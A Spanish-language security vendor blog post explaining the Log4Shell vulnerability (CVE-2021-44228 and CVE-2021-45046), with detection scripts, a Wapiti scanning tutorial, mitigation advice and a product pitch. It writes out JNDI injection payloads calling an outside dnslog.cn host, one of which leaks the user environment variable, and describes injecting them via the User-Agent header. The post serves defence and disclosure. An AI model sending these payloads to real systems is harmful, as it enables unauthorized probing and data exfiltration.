CVE-2021-44228 Log4Shell : una vulnerabilidad de tipo ejecución remota de código que afecta el software Apache Log4J
El 9 de diciembre de 2021, el investigador de seguridad p0rz9 publicó información en Twitter sobre una nueva vulnerabilidad relacionada con Apache Log4J, a la que se hace referencia bajo el código CVE-2021-44228, y que permite la ejecución de código de forma remota.
Apache Log4J es un software de gestión de registros utilizado para el lenguaje Java, y publicado por el fondation Apache.
Por lo tanto, Log4J se utiliza para registrar los eventos de otro software, por ejemplo, para escribir todas las solicitudes realizadas en un sitio web.
¿Cómo funciona la CVE-2021-44228?
Log4J permite, al escribir una entrada en los registros:
- realizar operaciones adicionales, con el fin de recuperar valores de fuentes complementarias;
- realizar llamadas a sistemas de terceros, con protocolos como https://es.wikipedia.org/wiki/Protocolo_ligero_de_acceso_a_directorios (sistema de directorios) a través de https://es.wikipedia.org/wiki/JNDI.
La vulnerabilidad CVE-2021-44228 / Log4Shell consiste en inyectar software vulnerable con una carga maliciosa, que le pedirá a Log4J que obtenga un valor de una fuente de terceros, con JNDI y a través del protocolo LDAP.
Sin embargo, en este caso, Log4J no comprueba los datos importados lo suficientemente bien. Los datos importados pueden ser código, que será ejecutado por Log4J en el sistema.
¿Cómo los piratas explotan y atacan un sistema con esta vulnerabilidad?
La estrategia más simple es crear un servicio de escucha DNS como http://www.dnslog.cn/.
Haciendo clic en « Get subdomain », DNSlog genera un nombre de dominio único.
El objetivo es entonces enviar el siguiente mensaje al software vulnerable:
${jndi:ldap://<sub-dominio-único>.dnslog.cn/}
Si Log4J registra el mensaje enviado, Log4J generará una llamada LDAP en DNSlog, y esta llamada será visible en DNSlog.cn.
Por lo tanto, un hacker puede pedirle a un sistema vulnerable que realice solicitudes a un servidor bajo su control, y aprovechar esto para enviar instrucciones maliciosas que luego serán ejecutadas por Log4J.
Esta vulnerabilidad también hace que sea muy fácil extraer información por el protocolo DNS, por ejemplo con la siguiente consulta:
${jndi:ldap://${env:user}.dnslog.cn/}
Sin embargo, algunos encabezados HTTP se ven particularmente afectados por registros, como el User-Agent, que a menudo se utiliza con fines estadísticos (el User-Agent indica el navegador utilizado).
En este contexto, muchos hackers están escaneando actualmente todo Internet inyectando una solicitud jndi en el encabezado User-Agent para encontrar sitios web afectados por CVE-2021-44228.
¿Qué sistemas se ven afectados por CVE-2021-44228?
Las versiones 2.0-beta9 a 2.14.1 de Log4J incluidas se ven afectadas por Log4Shell CVE-2021-44228
Según el https://logging.apache.org/log4j/2.x/security.html, La vulnerabilidad afecta a Log4J en las versiones 2.0-beta9 a 2.14.1 inclusive.
Por lo tanto, Apache recomienda actualizar Log4J a la versión 2.15.0 para solucionar el problema. Los expertos de KIPPEO también recomiendan actualizar Log4J a la versión 2.15.0 lo antes posible.
Además, cualquier software que utilice Log4J en configuraciones vulnerables también es vulnerable. Esto se refiere a muchos programas complementarios, como Steam, Minecraft …
Las versiones de Log4J 1.X no se consideran afectadas por Log4Shell CVE-2021-44228
Las versiones de Log4J en la versión 1.X solo son vulnerables en configuraciones extremadamente raras. La ANSSI francesa afirma en su boletín que “La versión 1 de log4j se declaró inicialmente vulnerable, sin embargo, la vulnerabilidad solo existe si el componente JMS Appender está configurado para tener en cuenta JNDI. Así que esta es una configuración muy específica”. Visite: https://github.com/apache/logging-log4j2/pull/608.
Con este fin, el https://nvd.nist.gov/vuln/detail/CVE-2021-44228 no considera que las versiones 1.X sean vulnerables en el momento de escribir este artículo.
¿Cuál es la diferencia entre CVE-2021-44228 y CVE-2021-45046?
CVE-2021-44228 es la vulnerabilidad inicial, conocida como Log4Shell, publicada en productos Log4J, relativa a las versiones 2.X y corregida en Log4J 2.15.0.
CVE-2021-45046 es una evolución de la vulnerabilidad anterior, relacionada con un parche incompleto en Log4J 2.15.0. Esta nueva vulnerabilidad ahora se considera una extensión de Log4Shell y se corrige en Log4J 2.16.0.
CVE-2021-45046 tiene un impacto menor que CVE-2021-44228 y está destinado principalmente a causar denegaciones de servicio.
Las correcciones realizadas por Log4J 2.15.0 solo corrigieron parcialmente Log4Shell. De hecho, en algunas configuraciones que escriben en los registros llamadas contextuales (formato $${ctx:loginId}
por ejemplo), o llamadas más complejas con registros en formato clave/valor (llamados esquemas) Thread Context Map en Log4J, como%X
, %mdc
, o %MDC
), todavía era posible enviar solicitudes maliciosas para generar una denegación de servicio. Las revisiones de Log4J 2.16.0 ayudan a solucionar este problema.
¿Cómo detectar si un servidor está potencialmente afectado por Log4Shell?
Los expertos de KIPPEO® recomiendan revisar todo el disco duro en busca de archivos Jar relacionados con Log4J. A continuación, se muestra un script de búsqueda:
# PARA LINUX (Bash)
## Buscar en el disco archivos JAR relacionados con Log4J
for line in $(find / -name \*.jar 2>&1 | grep log4j)
do
echo "DEBUG:potential log4j candidate on $line"
done
# PARA Windows (PowerShell)
## Buscar en el disco archivos JAR relacionados con Log4J
$jar = @()
$drives = Get-PSDrive -PSProvider 'FileSystem'
foreach($drive in $drives) {
$jar += Get-ChildItem -Path $Drive.Root -File -ErrorAction SilentlyContinue -Force -Recurse -Filter '*.jar'
}
foreach($line in $jar) {
if($line -match 'log4j'){
$path = $line.FullName
Write-Output "DEBUG:Potential log4j candidate on '$path'"
}
}
Un análisis exhaustivo también requerirá el monitoreo de componentes de terceros que podrían incrustar Log4J, o estudiar el contenido de los archivos WAR que incrustarían versiones vulnerables. (los comandos unzip y jar se pueden usar para este último caso).
Además, les recomendamos usar el proyecto Github https://github.com/wapiti-scanner/wapiti, capaz de escanear sitios web para Log4shell a través de inyecciones en casi 70 encabezados HTTP.
¿Cómo neutralizar esta vulnerabilidad?
La acción prioritaria es actualizar Log4J a la versión 2.16.0, a través de los administradores de paquetes habituales o mediante una descarga directa desde https://logging.apache.org/log4j/2.x/download.html.
También es posible reducir el grado de explotabilidad de la vulnerabilidad poniendo la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS
a true
. Sin embargo, esta contramedida solo funciona para versiones de Log4J mayores o iguales a 2.10.
Las soluciones de escaneo de vulnerabilidades de KIPPEO detectan CVE-2021-44228 y CVE-2021-45046, y pueden implementar parches de seguridad cuando se trata de un paquete oficial de la distribución. No dude en ponerse en contacto con nosotros para pedir una demo: https://kippeo.com/
KIPPEO® también proporciona herramientas gratuitas para escanear Log4Shell en su sistema de información.
Aquí ofrecemos métodos de análisis locales, así como para sitios web.
Escáner gratuito de Log4Shell para sus sitios web
Les presentamos el proyecto Wapiti, un escáner de sitios web de código abierto en el que existe la capacidad de realizar análisis web para detectar Log4Shell en sus activos. Tiene, si lo desea, un escáner Log4Shell gratuito que se puede iniciar en sus sitios web.
El procedimiento es el siguiente:
Tiempo requerido: 1 hora.
Tutorial de KIPPEO para buscar log4Shell en un sitio web con Wapiti (en sistemas Linux)
- Instalar Python 3
- Debe instalar Python3 en su sistema. Consulte la documentación oficial para este propósito.
También necesitará Pip3 y setuptools-rust.
Un ejemplo de un comando “llave en mano” para Ubuntu/Debian es:apt update && apt install python3 python3-pip
Luegopip3 install setuptools-rust
- Debe instalar Python3 en su sistema. Consulte la documentación oficial para este propósito.
- Instalar Git
- También debe instalar Git en su sistema. Una vez más, consulte la documentación oficial.
Un ejemplo de un comando “llave en mano” para Ubuntu/Debian es:apt update && apt install git
- También debe instalar Git en su sistema. Una vez más, consulte la documentación oficial.
- Descargar Wapiti con Git
- Descarga Wapiti con el siguiente comando:
git clone https://github.com/wapiti-scanner/wapiti
- Descarga Wapiti con el siguiente comando:
- Instalar Wapiti
- Vaya al directorio donde se descargó Wapiti, luego inicie la instalación con el comando:
python3 setup.py install
Advertencia: en caso de errores de permiso, tendrá que pasar por un entorno virtual o pasar por el comando sudo. Para obtener más información, visite https://github.com/wapiti-scanner/wapiti/blob/master/INSTALL.md
- Vaya al directorio donde se descargó Wapiti, luego inicie la instalación con el comando:
- Iniciar el escaneo con Wapiti
- Para escanear un sitio llamado http://MISITIOWEB, simplemente ejecute el siguiente comando:
bin/wapiti -m log4shell -u http://MISITIOWEB/ --flush-session
- Para escanear un sitio llamado http://MISITIOWEB, simplemente ejecute el siguiente comando:
- Observar los resultados
- Wapiti le dirá si es vulnerable a Log4Shell. Si no ve un mensaje que indique esta vulnerabilidad, el analizador no detectó la vulnerabilidad en el sitio web.
A continuación, se recomienda un enfoque de exploración local para evitar falsos positivos.
Herramientas para buscar en Log4Shell en sus máquinas Linux/UNIX
KIPPEO® ofrece un script Bash que puede usar en sus activos.
Inicie sesión en SSH y luego pase en modo root.
Luego corre:
# Buscar en el disco archivos JAR relacionados con Log4J
for line in $(find / -name \*.jar 2>&1 | grep log4j)
do
echo "DEBUG:potential log4j candidate on $line"
done
Obtendrá una lista para cada elemento potencialmente vulnerable. A continuación, tendrá que checar las versiones de los elementos identificados.
Herramientas para buscar log4Shell en sus máquinas Windows
KIPPEO® ofrece un script de PowerShell que puede usar en sus activos. Inicie sesión en RDP o equivalente e inicie una sesión de PowerShell como administrador local.
A continuación, ejecute el comando de PowerShell:
# Buscar en el disco archivos JAR vinculados con Log4J
$jar = @()
$drives = Get-PSDrive -PSProvider 'FileSystem'
foreach($drive in $drives) {
$jar += Get-ChildItem -Path $Drive.Root -File -ErrorAction SilentlyContinue -Force -Recurse -Filter '*.jar'
}
foreach($line in $jar) {
if($line -match 'log4j'){
$path = $line.FullName
Write-Output "DEBUG:Potential log4j candidate on '$path'"
}
}
Obtendrá una lista para cada elemento potencialmente vulnerable.
A continuación, tendrá que checar las versiones de los elementos identificados.
Descubra también las soluciones Vulnerability Management System de KIPPEO.
KIPPEO® ofrece una solución de gestión de vulnerabilidades, con detección, priorización y corrección. Somos capaces de detectar Log4Shell en su sistema de información, a través de análisis locales o web, y ayudarle a tomar las decisiones correctas.
No dude en solicitarnos una demostración : https://kippeo.com/
2 comentarios en “¿Cómo me afecta y cómo actuar ante la vulnerabilidad CVE-2021-44228 Log4Shell?”
Deberias poner las ligas a los Tweets ademas del screenshot. Para poder ver con mas detalle el detalle de las vulnerabilidades.
Hola, agradecemos mucho tu comentario. En los próximos blogs podrás encontrar el detalle de la información. Excelente día.